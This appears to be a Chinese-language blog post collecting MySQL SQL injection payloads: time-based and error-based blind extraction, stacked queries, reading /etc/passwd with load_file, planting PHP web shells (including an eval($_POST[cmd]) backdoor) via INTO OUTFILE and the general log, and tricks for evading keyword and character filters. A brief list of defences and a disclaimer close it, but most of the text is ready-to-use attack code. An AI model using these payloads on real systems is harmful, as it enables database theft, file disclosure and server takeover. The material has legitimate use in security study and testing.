SQL注入有趣姿势总结
字数 622 2025-08-26 22:11:51
MySQL SQL注入高级技巧与绕过方法详解
时间盲注技术
1. sleep()函数
最基本的延时函数,通过响应时间判断条件真假:
select * from users where id=1 and if(ascii(substr(user(),1,1))=114,sleep(3),0)
2. benchmark函数
通过重复计算表达式制造延时:
select * from users where id=1 and benchmark(10000000,md5('test'))
3. 笛卡尔积盲注
利用大表连接制造延时:
select * from users where id=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)
4. GET_LOCK盲注
需要两个会话:
-- SESSION A
select get_lock('lockname',1);
-- SESSION B
select * from users where id=1 and get_lock('lockname',5);
5. 正则DOS (RLIKE注入)
利用复杂正则表达式制造延时:
select * from users where id=1 and if(condition, concat(rpad(1,999999,'a'),...) RLIKE '(a.*)+b', 1)
报错注入技术
1. 列名重复报错
select * from (select name_const(version(),1), name_const(version(),1)) x;
-- ERROR 1060: Duplicate column name '5.5.47'
2. JOIN列名报错
select * from (select * from users a join users b) x;
-- ERROR 1060: Duplicate column name 'id'
3. XPath语法报错
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
-- ERROR 1105: XPATH syntax error: '~root@localhost~'
4. 整数溢出报错
select exp(710); -- 指数函数溢出
select pow(999,999); -- 幂函数溢出
select cot(0); -- 余切函数在0点无定义
5. 几何函数报错
select polygon(id) from users; -- 非几何值错误
select linestring(id) from users;
特殊场景注入
1. INSERT/UPDATE/DELETE注入
-- INSERT报错
insert into users values('1' or updatexml(1,concat(0x7e,user()),1) or '','pass');
-- UPDATE报错
update users set pass='newpass' where id=1 and updatexml(1,concat(0x7e,user()),1);
-- DELETE报错
delete from users where id=1 and updatexml(1,concat(0x7e,user()),1);
2. 无列名注入
select `2` from (select 1,2,3 union select * from users)a;
3. 异或注入
select * from users where id='1'^(mid(user(),1,1)='r')^'1';
4. Innodb引擎注入
当information_schema被过滤时:
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();
5. 堆叠注入
';use information_schema;set @sql=concat('s','elect...');PREPARE stmt1 FROM @sql;EXECUTE stmt1;--
文件操作技术
1. INTO OUTFILE写文件
-- 基本写入
select '<?php phpinfo();?>' into outfile '/var/www/shell.php';
-- FIELDS TERMINATED BY (需要多列)
select 1,2 into outfile '/var/www/shell.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e;
-- LINES TERMINATED BY
select 1 into outfile '/var/www/shell.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e;
2. LOAD_FILE读文件
-- 直接读取
select load_file('/etc/passwd');
-- 报错注入读取
select updatexml(1,concat(0x7e,load_file('/etc/passwd'),0x7e),1);
-- 检查文件存在
select if(isnull(load_file('/etc/passwd')),sleep(3),1);
3. 日志文件Getshell
set global general_log=on;
set global general_log_file='/var/www/shell.php';
select '<?php eval($_POST[cmd]);?>';
绕过技术
1. 空格绕过
select/**/1; -- 使用注释
select%0a1; -- 使用换行符
2. 逗号绕过
-- UNION SELECT逗号绕过
select 1 union select * from (select 2)a join (select 3)b;
-- 函数参数逗号绕过
select mid(user() from 1 for 1);
-- LIMIT逗号绕过
select * from users limit 1 offset 0;
3. 等号绕过
select * from users where id like 1;
select * from users where id regexp 1;
select * from users where id between 1 and 2;
select * from users where locate('ro',substring(user(),1,2))>0;
4. 函数替换
substr → mid, left, substring
group_concat → concat_ws
5. 关键词过滤绕过
-- 大小写混合
SeLeCt 1;
-- 内联注释
select/*!50000*/1;
-- 十六进制编码
select 0x61646d696e; -- 'admin'
防御建议
- 使用预编译语句(Prepared Statements)
- 严格过滤输入,使用白名单机制
- 最小权限原则,数据库用户只赋予必要权限
- 关闭错误信息显示
- 设置secure_file_priv为NULL或特定目录
- 禁用危险函数如load_file、into outfile等
- 使用WAF防护常见注入攻击
以上技术仅用于安全研究和防御,请勿用于非法用途。